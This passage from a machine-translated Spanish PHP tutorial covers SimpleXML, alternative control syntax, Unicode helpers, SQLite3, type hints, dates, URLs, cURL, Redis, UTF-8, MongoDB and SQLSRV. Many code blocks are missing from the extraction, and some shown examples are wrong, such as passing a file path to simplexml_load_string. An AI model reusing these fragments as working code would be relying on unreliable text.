permitirá continuar con las solicitudes restantes.
https://riptutorial.com/es/home 490
session_start();
Ahora, uno pensará que si la sesión está cerrada, cómo leeremos los valores de la sesión, se
embellecerá incluso después de cerrar la sesión, la sesión aún estará disponible. Por lo tanto,
todavía podemos leer los datos de la sesión.
En php> = 7.0 , podemos tener read_only session, read_write session y lazy_write session, por
lo que puede que no sea necesario utilizar session_write_close()
https://riptutorial.com/es/home 491
Capítulo 93: SimpleXML
Examples
Cargando datos XML en simplexml
Tenga en cuenta que or no || debe utilizarse aquí porque la prioridad de or es mayor que = . El
código posterior or solo se ejecutará si $xml finalmente se resuelve en falso.
$xml = simplexml_load_string("filePath.xml");
$xml = simplexml_load_string("https://example.com/doc.xml");
La URL puede ser de cualquier esquema que soporte PHP , o envoltorios de flujos
personalizados.
https://riptutorial.com/es/home 492
Capítulo 94: Sintaxis alternativa para
estructuras de control
Sintaxis
• estructura: / * código * / endstructura;
Observaciones
Cuando se mezcla la estructura alternativa para el switch con HTML, es importante no tener
ningún espacio en blanco entre el switch($condition): inicial switch($condition): y el case $value:
primer case $value: Hacer esto es intentar hacer eco de algo (espacios en blanco) antes de un
caso.
Todas las estructuras de control siguen la misma idea general. En lugar de usar llaves para
encapsular el código, estás usando una endstructure; dos puntos y una endstructure; sentencia:
structure: /* code */ endstructure;
Examples
Alternativa para la declaración
<?php
?>
<?php
while ($condition):
do_something();
endwhile;
?>
https://riptutorial.com/es/home 493
Declaración foreach alternativa
<?php
?>
<?php
switch ($condition):
case $value:
do_something();
break;
default:
do_something_else();
break;
endswitch;
?>
<?php
if ($condition):
do_something();
elseif ($another_condition):
do_something_else();
else:
do_something_different();
endif;
?>
https://riptutorial.com/es/home 494
<?php else: ?>
<p>Do something different in HTML</p>
<?php endif; ?>
https://riptutorial.com/es/home 495
Capítulo 95: Soporte Unicode en PHP
Examples
Conversión de caracteres Unicode a formato "\ uxxxx" usando PHP
if (!function_exists('codepoint_encode')) {
function codepoint_encode($str) {
return substr(json_encode($str), 1, -1);
}
}
if (!function_exists('codepoint_decode')) {
function codepoint_decode($str) {
return json_decode(sprintf('"%s"', $str));
}
}
Cómo utilizar :
Salida :
if (!function_exists('mb_internal_encoding')) {
function mb_internal_encoding($encoding = NULL) {
return ($from_encoding === NULL) ? iconv_get_encoding() :
iconv_set_encoding($encoding);
}
}
if (!function_exists('mb_convert_encoding')) {
function mb_convert_encoding($str, $to_encoding, $from_encoding = NULL) {
return iconv(($from_encoding === NULL) ? mb_internal_encoding() : $from_encoding,
$to_encoding, $str);
}
https://riptutorial.com/es/home 496
}
if (!function_exists('mb_chr')) {
function mb_chr($ord, $encoding = 'UTF-8') {
if ($encoding === 'UCS-4BE') {
return pack("N", $ord);
} else {
return mb_convert_encoding(mb_chr($ord, 'UCS-4BE'), $encoding, 'UCS-4BE');
}
}
}
if (!function_exists('mb_ord')) {
function mb_ord($char, $encoding = 'UTF-8') {
if ($encoding === 'UCS-4BE') {
list(, $ord) = (strlen($char) === 4) ? @unpack('N', $char) : @unpack('n', $char);
return $ord;
} else {
return mb_ord(mb_convert_encoding($char, 'UCS-4BE', $encoding), 'UCS-4BE');
}
}
}
if (!function_exists('mb_htmlentities')) {
function mb_htmlentities($string, $hex = true, $encoding = 'UTF-8') {
return preg_replace_callback('/[\x{80}-\x{10FFFF}]/u', function ($match) use ($hex) {
return sprintf($hex ? '&#x%X;' : '&#%d;', mb_ord($match[0]));
}, $string);
}
}
if (!function_exists('mb_html_entity_decode')) {
function mb_html_entity_decode($string, $flags = null, $encoding = 'UTF-8') {
return html_entity_decode($string, ($flags === NULL) ? ENT_COMPAT | ENT_HTML401 :
$flags, $encoding);
}
}
Cómo utilizar :
https://riptutorial.com/es/home 497
echo "\nEncode / decode to HEX based HTML entities\n";
var_dump(mb_htmlentities('tchüß'));
var_dump(mb_html_entity_decode('tchüß'));
Salida :
Las funciones de cadena nativas se asignan a funciones de un solo byte, no funcionan bien con
Unicode. Las extensiones iconv y mbstring ofrecen algún soporte para Unicode, mientras que Intl-
extention ofrece soporte completo. Intl es un contenedor para la biblioteca de ICU estándar de
facto , consulte http://site.icu-project.org para obtener información detallada que no está
disponible en http://php.net/manual/en/book.intl.php . Si no puedes instalar la extensión, echa un
vistazo a una implementación alternativa de Intl desde el framework Symfony .
ICU ofrece una Internacionalización completa de la cual Unicode es solo una parte más pequeña.
Puedes hacer la transcodificación fácilmente:
https://riptutorial.com/es/home 498
Capítulo 96: SQLite3
Examples
Consultar una base de datos
<?php
//Create a new SQLite3 object from a database file on the server.
$database = new SQLite3('mysqlitedb.db');
//Iterate through all of the results, var_dumping them onto the page
while ($row = $results->fetchArray()) {
var_dump($row);
}
?>
Además de usar sentencias de LIMIT SQL, también puede usar la función querySingle para
recuperar una sola fila, o la primera columna.
<?php
$database = new SQLite3('mysqlitedb.db');
//Without the optional second parameter set to true, this query would return just
//the first column of the first row of results and be of the same type as columnName
$database->querySingle('SELECT column1Name FROM table WHERE column2Name=1');
//With the optional entire_row parameter, this query would return an array of the
//entire first row of query results.
$database->querySingle('SELECT column1Name, column2Name FROM user WHERE column3Name=1', true);
?>
Este es un ejemplo completo de todas las API relacionadas con SQLite comúnmente utilizadas. El
objetivo es ponerlo en marcha realmente rápido. También puede obtener un archivo PHP
ejecutable de este tutorial.
https://riptutorial.com/es/home 499
explica por sí mismo.
$db->exec('BEGIN');
$db->query('INSERT INTO "visits" ("user_id", "url", "time")
VALUES (42, "/test", "2017-01-14 10:11:23")');
$db->query('INSERT INTO "visits" ("user_id", "url", "time")
VALUES (42, "/test2", "2017-01-14 10:11:44")');
$db->exec('COMMIT');
Insertar datos potencialmente inseguros con una declaración preparada. Puedes hacer esto con
parámetros nombrados :
Recuperacion de datos
Vamos a buscar las visitas de hoy del usuario # 42. Volveremos a utilizar una declaración
preparada, pero esta vez con parámetros numerados , que son más concisos:
$statement = $db->prepare('SELECT * FROM "visits" WHERE "user_id" = ? AND "time" >= ?');
$statement->bindValue(1, 42);
$statement->bindValue(2, '2017-01-14');
$result = $statement->execute();
https://riptutorial.com/es/home 500
echo "Get the 1st row as an associative array:\n";
print_r($result->fetchArray(SQLITE3_ASSOC));
echo "\n";
Nota: Si no hay más filas, fetchArray () devuelve false . Puedes aprovechar esto en un
bucle de while .
$result->finalize();
Shorthands
Aquí hay una taquigrafía útil para obtener una sola fila como una matriz asociativa. El segundo
parámetro significa que queremos todas las columnas seleccionadas.
Cuidado, esta abreviatura no admite el enlace de parámetros, pero puedes escapar de las
cadenas en su lugar. ¡Ponga siempre los valores en SOLAS citas! Las comillas dobles se usan
para los nombres de tablas y columnas (similar a los backticks en MySQL).
Limpiar
Finalmente, cierre la base de datos. Sin embargo, esto se hace automáticamente cuando el script
termina.
$db->close();
https://riptutorial.com/es/home 501
Lea SQLite3 en línea: https://riptutorial.com/es/php/topic/5898/sqlite3
https://riptutorial.com/es/home 502
Capítulo 97: Tipo de insinuación
Sintaxis
• función f (ClassName $ param) {}
• función f (bool $ param) {}
• función f (int $ param) {}
• función f (float $ param) {}
• función f (cadena $ param) {}
• función f (self $ param) {}
• función f (llamable $ param) {}
• función f (array $ param) {}
• función f (? tipo_nombre $ param) {}
• función f (): tipo_nombre {}
• función f (): vacío {}
• función f ():? type_name {}
Observaciones
Las sugerencias de tipo o las declaraciones de tipo son una práctica de programación defensiva
que garantiza que los parámetros de una función sean de un tipo específico. Esto es
particularmente útil cuando se trata de una sugerencia de tipo para una interfaz porque permite
que la función garantice que un parámetro proporcionado tendrá los mismos métodos que se
requieren en la interfaz.
Pasar el tipo incorrecto a una función de tipo insinuado provocará un error fatal:
Fatal error: no detectada TypeError: Argumento X pasa a foo () debe ser del tipo
RequiredType, ProvidedType dado
Examples
Tipografía de tipos escalares, matrices y callables.
El soporte para los tipos de parámetros de matriz de sugerencias (y valores de retorno después
de PHP 7.1) se agregó en PHP 5.1 con la array palabras clave. Cualquier matriz de cualquier
dimensión y tipo, así como las matrices vacías, son valores válidos.
El soporte para tipografías de insinuación de tipo se agregó en PHP 5.4. Cualquier valor que
is_callable() es válido para los parámetros y devuelve los valores indicados como callable , es
decir, objetos de Closure , cadenas de nombre de función y array(class_name|object, method_name)
.
https://riptutorial.com/es/home 503
Error grave: error de tipo no detectado: el argumento 1 que se pasa a foo () debe ser
del tipo que se puede llamar, cadena / matriz dada
Los métodos no estáticos también se pueden pasar como reclamables en formato estático, lo que
resulta en una advertencia de desaprobación y un error de nivel E_STRICT en PHP 7 y 5,
respectivamente.
Método de visibilidad se tiene en cuenta. Si el contexto del método con el parámetro callable no
tiene acceso al que se puede llamar proporcionado, terminará como si el método no existiera.
class Foo{
private static function f(){
echo "Good" . PHP_EOL;
}
Foo::r(["Foo", "f"]);
r(["Foo", "f"]);
Salida:
El soporte para tipos de escalador de sugerencias de tipo se agregó en PHP 7. Esto significa que
obtenemos soporte de sugerencias de tipo para boolean s, integer , float sy string s.
<?php
De forma predeterminada, PHP intentará convertir cualquier argumento proporcionado para que
coincida con su sugerencia de tipo. Cambiar la llamada para add(1.5, 2) da exactamente el
mismo resultado, ya que el float 1.5 fue lanzado a int por PHP.
https://riptutorial.com/es/home 504
Para detener este comportamiento, uno debe agregar declare(strict_types=1); a la parte superior
de cada archivo fuente PHP que lo requiera.
<?php
declare(strict_types=1);
var_dump(add(1.5, 2));
Error grave: error de tipo no detectado: el argumento 1 que se pasa a add () debe ser
del tipo entero, flotante dado
Como ejemplo, curl_init() devolverá un resource , así como fopen() . Por supuesto, esos dos
recursos no son compatibles entre sí. Debido a eso, PHP 7 siempre lanzará el siguiente
TypeError cuando escriba resource sugerencias explícitamente:
Dado que los objetos PHP no se heredan de ninguna clase base (incluyendo stdClass ), no hay
soporte para el tipo de insinuación de un tipo de objeto genérico.
<?php
class ClassOne {}
class ClassTwo {}
doSomething($classOne);
doSomething($classTwo);
https://riptutorial.com/es/home 505
Y lanzará un error fatal:
Una solución a esto es declarar una interfaz degenerada que no define métodos y hacer que
todos sus objetos implementen esta interfaz.
<?php
interface Object {}
doSomething($classOne);
doSomething($classTwo);
class Student
{
public $name = 'Chris';
}
class School
{
public $name = 'University of Edinburgh';
}
enroll($student, $school);
https://riptutorial.com/es/home 506
Chris está siendo matriculado en la Universidad de Edimburgo
enroll($chris, $edinburgh);
En PHP 7.1, el tipo de retorno void fue agregado. Si bien PHP no tiene un valor de void real, en
general se entiende en todos los lenguajes de programación que una función que no devuelve
nada devuelve un void . Esto no debe confundirse con devolver null , ya que null es un valor que
se puede devolver.
Tenga en cuenta que si declara un retorno void , no puede devolver ningún valor o obtendrá un
https://riptutorial.com/es/home 507
error fatal:
Parámetros
Se agregó una sugerencia de tipo anulable en PHP 7.1 usando el ? operador antes de la
sugerencia de tipo.
f(null); // valid
g(null); // TypeError: Argument 1 passed to g() must be of the type string, null given
Antes de PHP 7.1, si un parámetro tiene una sugerencia de tipo, debe declarar un valor
predeterminado null para aceptar valores nulos.
f(null); // valid
g(null); // TypeError: Argument 1 passed to g() must be of the type string, null given
Valores de retorno
En PHP 7.0, las funciones con un tipo de retorno no deben devolver nulo.
En PHP 7.1, las funciones pueden declarar una sugerencia de tipo de retorno anulable. Sin
embargo, la función todavía debe devolver null, no void (sin / declaraciones de retorno vacías).
https://riptutorial.com/es/home 508
f(); // OK
g(); // TypeError: Return value of g() must be of the type string or null, none returned
h(); // TypeError: Return value of h() must be of the type string or null, none returned
https://riptutorial.com/es/home 509
Capítulo 98: Trabajando con fechas y
horarios
Sintaxis
• fecha de cadena (cadena $ formato [, int $ marca de hora = hora ()])
• int strtotime (cadena $ tiempo [, int $ ahora])
Examples
Analizar las descripciones de fechas en inglés en un formato de fecha
Usando la función strtotime() combinada con la date() , puede analizar diferentes descripciones
de texto en inglés para las fechas:
Los basicos
La forma más simple de convertir un formato de fecha en otro es usar strtotime() con date() .
strtotime() convertirá la fecha en una marca de tiempo Unix . Ese sello de tiempo de Unix se
puede pasar a la date() para convertirlo al nuevo formato.
$timestamp = strtotime('2008-07-01T22:35:17.02');
$new_date_format = date('Y-m-d H:i:s', $timestamp);
https://riptutorial.com/es/home 510
$new_date_format = date('Y-m-d H:i:s', strtotime('2008-07-01T22:35:17.02'));
Tenga en cuenta que strtotime() requiere que la fecha esté en un formato válido . Si no se
proporciona un formato válido, strtotime() devolverá false, lo que provocará que su fecha sea
1969-12-31.
Usando DateTime()
A partir de PHP 5.2, PHP ofreció la clase DateTime() que nos ofrece herramientas más poderosas
para trabajar con fechas (y hora). Podemos reescribir el código anterior usando DateTime() como
tal:
date()toma una marca de tiempo de Unix como su segundo parámetro y le devuelve una fecha
formateada:
DateTime () funciona con las marcas de tiempo de Unix agregando una @ antes de la marca de
hora:
Recortar los últimos tres dígitos se puede lograr de varias maneras, pero usar substr() es la más
fácil:
También puede convertir la marca de tiempo en segundos dividiendo por 1000. Debido a que la
marca de tiempo es demasiado grande para que los sistemas de 32 bits puedan realizar
operaciones matemáticas, necesitará usar la biblioteca BCMath para hacer las matemáticas como
cadenas:
https://riptutorial.com/es/home 511
Para obtener una marca de tiempo Unix puede usar strtotime() que devuelve una marca de
tiempo Unix:
$timestamp = strtotime('1973-04-18');
Desafortunadamente, no todas las fechas con las que un desarrollador tiene que trabajar están en
un formato estándar. Afortunadamente, PHP 5.3 nos proporcionó una solución para eso.
DateTime::createFromFormat() nos permite decirle a PHP en qué formato se encuentra una cadena
de fecha para que pueda analizarse con éxito en un objeto DateTime para una mayor
manipulación.
En PHP 5.4, obtuvimos la capacidad de hacer acceso a los miembros de la clase en la creación
de instancias, lo que nos permite convertir nuestro código DateTime() en una sola línea:
Podemos usar constantes predefinidas para el formato de date() en date() lugar de las cadenas
de formato de fecha convencionales desde PHP 5.1.0.
https://riptutorial.com/es/home 512
DATE_ISO8601 - ISO-8601 (2016-07-22T14: 50: 01 + 0000)
Ejemplos de uso
echo date(DATE_RFC822);
echo date(DATE_ATOM,mktime(0,0,0,8,15,1947));
Un ejemplo:
<?php
// Create a date time object, which has the value of ~ two years ago
$twoYearsAgo = new DateTime("2014-01-18 20:05:56");
// Create a date time object, which has the value of ~ now
$now = new DateTime("2016-07-21 02:55:07");
// Total Days Diff, that is the number of days between the two dates
https://riptutorial.com/es/home 513
$totalDaysDiff = $diff->days;
Además, comparar dos fechas es mucho más fácil, solo use los operadores de comparación ,
como:
<?php
// Create a date time object, which has the value of ~ two years ago
$twoYearsAgo = new DateTime("2014-01-18 20:05:56");
// Create a date time object, which has the value of ~ now
$now = new DateTime("2016-07-21 02:55:07");
var_dump($now > $twoYearsAgo); // prints bool(true)
var_dump($twoYearsAgo > $now); // prints bool(false)
var_dump($twoYearsAgo <= $twoYearsAgo); // prints bool(true)
var_dump($now == $now); // prints bool(true)
https://riptutorial.com/es/home 514
Capítulo 99: URLs
Examples
Analizar una URL
$url = 'http://www.example.com/page?foo=1&bar=baz#anchor';
$parts = parse_url($url);
Array
(
[scheme] => http
[host] => www.example.com
[path] => /page
[query] => foo=1&bar=baz
[fragment] => anchor
)
También puede devolver selectivamente solo un componente de la url. Para devolver sólo la
cadena de consulta:
$url = 'http://www.example.com/page?foo=1&bar=baz#anchor';
$queryString = parse_url($url, PHP_URL_QUERY);
Para analizar aún más una cadena de consulta en pares de valores clave, use parse_str() :
$params = [];
parse_str($queryString, $params);
Array
(
[foo] => 1
[bar] => baz
)
Puede usar la función header() para indicar al navegador que redireccione a una URL diferente:
https://riptutorial.com/es/home 515
$url = 'https://example.org/foo/bar';
if (!headers_sent()) { // check headers - you can not send headers if they already sent
header('Location: ' . $url);
exit; // protects from code being executed after redirect request
} else {
throw new Exception('Cannot redirect, headers already sent');
}
También puede redirigir a una URL relativa (esto no es parte de la especificación HTTP oficial,
pero funciona en todos los navegadores):
$url = 'foo/bar';
if (!headers_sent()) {
header('Location: ' . $url);
exit;
} else {
throw new Exception('Cannot redirect, headers already sent');
}
Si se han enviado encabezados, alternativamente puede enviar una etiqueta HTML de meta
refresh .
ADVERTENCIA: la etiqueta meta refresh se basa en que HTML sea procesado correctamente
por el cliente, y algunos no lo harán. En general, solo funciona en navegadores web. Además,
tenga en cuenta que si se han enviado encabezados, es posible que tenga un error y esto debería
provocar una excepción.
También puede imprimir un enlace para que los usuarios hagan clic, para los clientes que ignoran
la etiqueta de meta actualización:
$url = 'https://example.org/foo/bar';
if (!headers_sent()) {
header('Location: ' . $url);
} else {
$saveUrl = htmlspecialchars($url); // protects from browser seeing url as HTML
// tells browser to redirect page to $saveUrl after 0 seconds
print '<meta http-equiv="refresh" content="0; url=' . $saveUrl . '">';
// shows link for user
print '<p>Please continue to <a href="' . $saveUrl . '">' . $saveUrl . '</a></p>';
}
exit;
El http_build_query() creará una cadena de consulta desde una matriz u objeto. Estas cadenas se
pueden adjuntar a una URL para crear una solicitud GET o se pueden usar en una solicitud POST
con, por ejemplo, cURL.
$parameters = array(
'parameter1' => 'foo',
'parameter2' => 'bar',
);
$queryString = http_build_query($parameters);
https://riptutorial.com/es/home 516
$queryString tendrá el siguiente valor:
parameter1=foo¶meter2=bar
$parameters = array(
"parameter3" => array(
"sub1" => "foo",
"sub2" => "bar",
),
"parameter4" => "baz",
);
$queryString = http_build_query($parameters);
parameter3%5Bsub1%5D=foo¶meter3%5Bsub2%5D=bar¶meter4=baz
parameter3[sub1]=foo¶meter3[sub2]=bar¶meter4=baz
https://riptutorial.com/es/home 517
Capítulo 100: Usando cURL en PHP
Sintaxis
• resource curl_init ([string $ url = NULL])
• bool curl_setopt (resource $ ch, int $ option, mixed $ value)
• bool curl_setopt_array (resource $ ch, array $ options)
• mezclado curl_exec (recurso $ ch)
• void curl_close (resource $ ch)
Parámetros
Parámetro Detalles
Examples
Uso básico (solicitudes GET)
cURL es una herramienta para transferir datos con sintaxis de URL. Es compatible con HTTP,
FTP, SCP y muchos otros (curl> = 7.19.4). Recuerde, debe instalar y habilitar la extensión
cURL para usarla.
https://riptutorial.com/es/home 518
die("cURL extension not loaded! Quit Now.");
}
Solicitudes POST
Si desea imitar la acción POST del formulario HTML, puede utilizar cURL.
A veces necesitamos hacer muchas solicitudes POST a uno o muchos puntos finales diferentes.
Para lidiar con este escenario, podemos usar multi_curl .
En primer lugar, creamos cuantas solicitudes se necesitan exactamente de la misma forma que
en el ejemplo simple y las colocamos en una matriz.
https://riptutorial.com/es/home 519
//array of data to POST
$request_contents = array();
//array of URLs
$urls = array();
//array of cURL handles
$chs = array();
curl_multi_add_handle($mh, $chs[$key]);
}
curl_multi_remove_handle($mh, $chs[$key]);
}
https://riptutorial.com/es/home 520
Una posible devolución para este ejemplo podría ser:
Por defecto, PHP Curl admite solicitudes GET y POST . También es posible enviar solicitudes
personalizadas, como DELETE , PUT o PATCH (o incluso métodos no estándar) utilizando el parámetro
CURLOPT_CUSTOMREQUEST .
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
$content = curl_exec($ch);
curl_close($ch);
Uso de cookies
cURL puede mantener las cookies recibidas en las respuestas para su uso con solicitudes
posteriores. Para el manejo simple de cookies de sesión en la memoria, esto se logra con una
sola línea de código:
En los casos en los que deba conservar las cookies después de que se destruya el manejador de
la CURL, puede especificar el archivo para almacenarlas:
Sin embargo, recuerde que estos dos pasos no son necesarios a menos que necesite llevar
cookies entre diferentes manejadores de cURL. Para la mayoría de los casos de uso, todo lo que
necesita es establecer CURLOPT_COOKIEFILE en la cadena vacía.
El manejo de cookies se puede usar, por ejemplo, para recuperar recursos de un sitio web que
requiere un inicio de sesión. Esto suele ser un procedimiento de dos pasos. Primero, POST a la
página de inicio de sesión.
<?php
https://riptutorial.com/es/home 521
$ch = curl_init();
El segundo paso (después de que se realiza la comprobación de errores estándar) suele ser una
simple solicitud GET. Lo importante es reutilizar el identificador de cURL existente para la
segunda solicitud. Esto asegura que las cookies de la primera respuesta se incluirán
automáticamente en la segunda solicitud.
Esto solo pretende ser un ejemplo de manejo de cookies. En la vida real, las cosas suelen ser
más complicadas. A menudo, debe realizar un GET inicial de la página de inicio de sesión para
obtener un token de inicio de sesión que debe incluirse en su POST. Otros sitios pueden bloquear
el cliente cURL en función de su cadena User-Agent, lo que requiere que lo modifique.
Digamos que tenemos una forma como la de abajo. Queremos enviar los datos a nuestro servidor
web a través de AJAX y desde allí a un script que se ejecuta en un servidor externo.
https://riptutorial.com/es/home 522
Así que tenemos entradas normales, un campo de selección múltiple y una zona de descarga de
archivos donde podemos cargar varios archivos.
Asumiendo que la solicitud POST de AJAX fue exitosa, obtenemos los siguientes datos en el sitio
PHP:
// print_r($_POST)
Array
(
[first_name] => John
[last_name] => Doe
[activities] => Array
(
[0] => soccer
[1] => hiking
)
)
// print_r($_FILES)
Array
(
[upload] => Array
(
https://riptutorial.com/es/home 523
[name] => Array
(
[0] => my_photo.jpg
[1] => my_life.pdf
)
Hasta ahora tan bueno. Ahora queremos enviar estos datos y archivos al servidor externo usando
cURL con la clase CurlFile
Como cURL solo acepta una matriz simple pero no multidimensional, primero tenemos que
aplanar la matriz $ _POST.
Para hacer esto, podrías usar esta función, por ejemplo, que te da lo siguiente:
// print_r($new_post_array)
Array
(
[first_name] => John
[last_name] => Doe
[activities[0]] => soccer
[activities[1]] => hiking
)
El siguiente paso es crear objetos CurlFile para los archivos cargados. Esto se hace mediante el
siguiente bucle:
$files = array();
https://riptutorial.com/es/home 524
foreach ($_FILES["upload"]["error"] as $key => $error) {
if ($error == UPLOAD_ERR_OK) {
$files["upload[$key]"] = curl_file_create(
$_FILES['upload']['tmp_name'][$key],
$_FILES['upload']['type'][$key],
$_FILES['upload']['name'][$key]
);
}
}
curl_file_create es una función auxiliar de la clase CurlFile y crea los objetos CurlFile. Guardamos
cada objeto en la matriz $ files con claves llamadas "upload [0]" y "upload [1]" para nuestros dos
archivos.
$ch = curl_init();
curl_setopt_array($ch, array(
CURLOPT_POST => 1,
CURLOPT_URL => "https://api.externalserver.com/upload.php",
CURLOPT_RETURNTRANSFER => 1,
CURLINFO_HEADER_OUT => 1,
CURLOPT_POSTFIELDS => $data
));
$result = curl_exec($ch);
curl_close ($ch);
Ya que $ data ahora es una matriz simple (plana), cURL envía automáticamente esta solicitud
POST con Tipo de contenido: multipart / form-data
En upload.php en el servidor externo, ahora puede obtener los datos y archivos publicados con $
_POST y $ _FILES como lo haría normalmente.
$uri = 'http://localhost/http.php';
$ch = curl_init($uri);
curl_setopt_array($ch, array(
CURLOPT_HTTPHEADER => array('X-User: admin', 'X-Authorization: 123456'),
CURLOPT_RETURNTRANSFER =>true,
CURLOPT_VERBOSE => 1
));
$out = curl_exec($ch);
https://riptutorial.com/es/home 525
curl_close($ch);
// echo response output
echo $out;
print_r(apache_request_headers());
Salida: -
Array
(
[Host] => localhost
[Accept] => */*
[X-User] => admin
[X-Authorization] => 123456
[Content-Length] => 9
[Content-Type] => application/x-www-form-urlencoded
)
https://riptutorial.com/es/home 526
Capítulo 101: Usando Redis con PHP
Examples
Instalando PHP Redis en Ubuntu
El módulo Redis PHP da acceso a los mismos comandos que el cliente CLI de Redis, por lo que
es bastante fácil de usar.
La sintaxis es la siguiente:
https://riptutorial.com/es/home 527
Capítulo 102: UTF-8
Observaciones
• Debe asegurarse de que cada vez que procese una cadena UTF-8, lo haga de manera
segura. Esta es, desafortunadamente, la parte difícil. Probablemente querrá hacer un uso
extensivo de la extensión mbstring de PHP.
• Las operaciones de cadena incorporadas de PHP no son seguras por defecto para
UTF-8. Hay algunas cosas que puede hacer de manera segura con las operaciones
normales de cadena de PHP (como la concatenación), pero para la mayoría de las cosas
debería usar la función equivalente mbstring .
Examples
Entrada
• Debe verificar que todas las cadenas recibidas sean UTF-8 válidas antes de intentar
almacenarlas o usarlas en cualquier lugar. PHP mb_check_encoding() hace el truco, pero
tienes que usarlo consistentemente. Realmente no hay forma de evitar esto, ya que los
clientes malintencionados pueden enviar datos en cualquier codificación que deseen.
$string = $_REQUEST['user_comment'];
if (!mb_check_encoding($string, 'UTF-8')) {
// the string is not UTF-8, so re-encode it.
$actualEncoding = mb_detect_encoding($string);
$string = mb_convert_encoding($string, 'UTF-8', $actualEncoding);
}
• Si está utilizando HTML5, puede ignorar este último punto. Desea que todos los datos
que le envíen los navegadores estén en UTF-8. La única forma confiable de hacer esto es
agregar el atributo accept-charset a todas sus etiquetas <form> así:
Salida
https://riptutorial.com/es/home 528
codificación en un documento HTML con metadatos HTML .
○ HTML5
<meta charset="utf-8">
Este tema trata específicamente sobre UTF-8 y las consideraciones para usarlo con
una base de datos. Si desea obtener más información sobre el uso de bases de datos
en PHP, consulte este tema .
• Especifique el utf8mb4 caracteres utf8mb4 en todas las tablas y columnas de texto en su base
de datos. Esto hace que MySQL almacene y recupere físicamente los valores codificados
de forma nativa en UTF-8.
• Las versiones anteriores de MySQL (<5.5.3) no admiten utf8mb4 por lo que se verá obligado
a usar utf8 , que solo admite un subconjunto de caracteres Unicode.
Por ejemplo (la misma consideración con respecto a utf8mb4 / utf8 aplica como
anteriormente):
○ Si está utilizando la capa de abstracción PDO con PHP ≥ 5.3.6, puede especificar el
charset de charset en el DSN :
https://riptutorial.com/es/home 529
$conn = mysqli_connect('localhost', 'my_user', 'my_password', 'my_db');
○ Si está atascado con MySQL simple pero está ejecutando PHP ≥ 5.2.3, puede llamar a
mysql_set_charset .
https://riptutorial.com/es/home 530
Capítulo 103: Utilizando MongoDB
Examples
Conectarse a MongoDB
Insertar documento
$document = [
'name' => 'John',
'active' => true,
'info' => ['genre' => 'male', 'age' => 30]
];
https://riptutorial.com/es/home 531
$bulk = new \MongoDB\Driver\BulkWrite;
$_id1 = $bulk->insert($document);
$result = $manager->executeBulkWrite('database_name.collection_name', $bulk);
Actualizar un documento
Ejemplo para actualizar todos los documentos donde el nombre es igual a "John":
Borrar un documento
Ejemplo para borrar todos los documentos donde el nombre es igual a "Peter":
https://riptutorial.com/es/home 532
Capítulo 104: Utilizando SQLSRV
Observaciones
El controlador SQLSRV es una extensión de PHP compatible con Microsoft que le permite
acceder a las bases de datos de Microsoft SQL Server y SQL Azure. Es una alternativa para los
controladores MSSQL que estaban en desuso a partir de PHP 5.3 y se han eliminado de PHP 7.
La extensión SQLSRV requiere que el cliente nativo de Microsoft SQL Server 2012 se instale en
la misma computadora que ejecuta PHP. Si el cliente nativo de Microsoft SQL Server 2012 aún no
está instalado, haga clic en el enlace correspondiente en la página de documentación de
"Requisitos" .
Una lista completa de los requisitos del sistema para los controladores de SQLSRV se puede
encontrar aquí: Requisitos del sistema
Aquellos que usan SQLSRV 3.1+ deben descargar el controlador Microsoft ODBC 11 para SQL
Server
Microsoft® ODBC Driver 13 para SQL Server es compatible con Microsoft SQL Server 2008, SQL
Server 2008 R2, SQL Server 2012, SQL Server 2014, SQL Server 2016 (Preview), Analytics
Platform System, Azure SQL Database y Azure SQL Data Warehouse.
Examples
Creando una conexión
$connectionInfo = array(
"Database" => $dbName,
https://riptutorial.com/es/home 533
"UID" => $dbUser,
"PWD" => $dbPassword
);
//Create Connection
$conn = sqlsrv_connect($dbServer, $connectionInfo);
Nota: el uso de corchetes [] es para escapar de la table palabras table ya que es una palabra
reservada . Estos funcionan de la misma manera que los backticks ` hacen en MySQL .
$params = array(
array($name, SQLSRV_PARAM_IN),
array($age, SQLSRV_PARAM_IN),
array($count, SQLSRV_PARAM_OUT, SQLSRV_PHPTYPE_INT) //$count must already be initialised
);
Si planea usar la misma instrucción de consulta más de una vez, con diferentes parámetros, se
puede lograr lo mismo con las sqlsrv_prepare() y sqlsrv_execute() , como se muestra a
continuación:
$cart = array(
"apple" => 3,
"banana" => 1,
https://riptutorial.com/es/home 534
"chocolate" => 2
);
sqlsrv_fetch_array ()
sqlsrv_fetch_array() recupera la siguiente fila como una matriz.
while($row = sqlsrv_fetch_array($stmt)) {
echo $row[0];
$var = $row["name"];
//...
}
sqlsrv_fetch_object ()
sqlsrv_fetch_object() recupera la siguiente fila como un objeto.
while($obj = sqlsrv_fetch_object($stmt)) {
echo $obj->field; // Object property names are the names of the fields from the query
//...
}
sqlsrv_fetch ()
sqlsrv_fetch() hace que la siguiente fila esté disponible para leer.
https://riptutorial.com/es/home 535
$stmt = sqlsrv_query($conn, $query);
Cuando una consulta sale mal, es importante buscar los mensajes de error devueltos por el
controlador para identificar la causa del problema. La sintaxis es:
sqlsrv_errors([int $errorsOrWarnings]);
Llave Descripción
https://riptutorial.com/es/home 536
Capítulo 105: Variables
Sintaxis
